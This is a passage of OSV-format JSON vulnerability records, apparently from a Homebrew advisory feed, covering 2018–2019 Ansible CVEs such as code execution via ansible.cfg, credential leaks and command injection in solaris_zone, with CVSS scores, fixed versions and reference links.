fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10875"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/42388"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/43583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ff980afefdbe4ceb828bdb1bb2eef03cf616bf63"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4cecbe81adbc655d7ab734165d3ac539f8ba5981"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f32c42c37aaf7b9db93ea3151b2f42a0c4bd8172"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-43.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-hwrm-63v2-42g4","CVE-2018-16837","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Leaks Data Passed to ssh-keygen","details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16837"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47486"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47445"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47436"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77928e6c3a2ad878b20312ce5d74d9d7741e0df0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b618339c321c387230d3ea523e80ad47af3de5cf"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f50cc0b8cb399bb7b7c1ad23b94c9404f0cc6d23"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227105539/http://www.securityfocus.com/bid/105700"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-44.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/c963ef1dfbf73efea5106624eb48b346f01eaefd/changelogs/CHANGELOG-v2.7.rst?plain=1#L138"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-j569-fghw-f9rx","CVE-2018-16876","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible sensitive information disclosure","details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in `vvv+` mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16876"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/51318"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/49569"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0a81d133ffc8f7067182c53cf6a28c724dd1099"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0954942dfdc563f80fd3e388f550aa165ec931da"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/424c68f15ad9f532d73e5afed33ff477f54281a7"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227100904/http://www.securityfocus.com/bid/106225"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-141.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-grgm-pph5-j5h7","CVE-2019-10156","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10156"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/57188"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04e94274fb92e116e9082cc9b86b1fd05c836922"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3ff6505e8ff0e4655bab008886983476ef903375"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a11c3edfa41e7e4a4db323cdabfc2eae1b61da2a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-grgm-pph5-j5h7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-2.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-cqmr-rcpr-cxh3","CVE-2019-10206","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible password prompts could expose passwords","details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10206"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4b5aed4e5af4c7aab621662f50a289e99b8ac393"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d39488ece44956f6a169a498b067bbef54552be1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d728127310b4f3a40ce8b9df3affb88ffaeea073"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-145.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-p75j-wc34-527c","CVE-2019-10217","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10217"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/56269"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c1ee1f142db1e669b710a65147ea32be47a91519"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p75j-wc34-527c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-3.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-pm48-cvv2-29q5","CVE-2019-14846","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Uses Plugins That Disclose Credentials","details":"Ansible, all ansible_engine-2.x versions and ansible_engine-3.x up to ansible_engine-3.5, was logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14846"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63366"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/90e74dd2600e5cc42dd9b4f4656f3d651c4ce5c4"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cb0f535a8b254a2daf69cd067e842fabb2993034"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d961f676c01023a6a21503df16ba551a550e515b"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-4.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-h653-95qw-h2mp","CVE-2019-14858","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks sensitive information to logs when told not to","details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as `no_log`, passing an invalid parameter name to the module will cause the task to fail before the `no_log` options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14858"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63405"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0fd656e9964a91f2e8b1e9bbf78c74661ab9d37b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3dfb8e81bb5f776a6b00c7a90dd087e85b71f8bb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/87f8d77d70476454f7fe2381bd363a329ce4266c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f610ed3a4eb87eb557200606279796921fa9b722"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-171.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-3m93-m4q6-mc6v","CVE-2019-14864","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible","details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14864"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63527"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64273"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64274"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64748"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/050f92f96054bf59e283fdec9972323c2ed00348"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/75288a89d0053d6df35c90863fb6c9542d89850e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0ec2976b2716cdecdd7a8f416d96406acd79b7c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c76e074e4c71c7621a1ca8159261c1959b5287af"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3m93-m4q6-mc6v"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-160.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-gwr8-5j83-483c","CVE-2019-14904","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection and Improper Input Validation in ansible","details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14904"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/65686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/589a415f887b6f2bb65cd07fe6b2e9d0a8156b69"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6a86650109b8654f5898369e45d3857624edf907"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1b0f72c98b4b2afaab8aafa255e82c2075049c8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gwr8-5j83-483c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://githu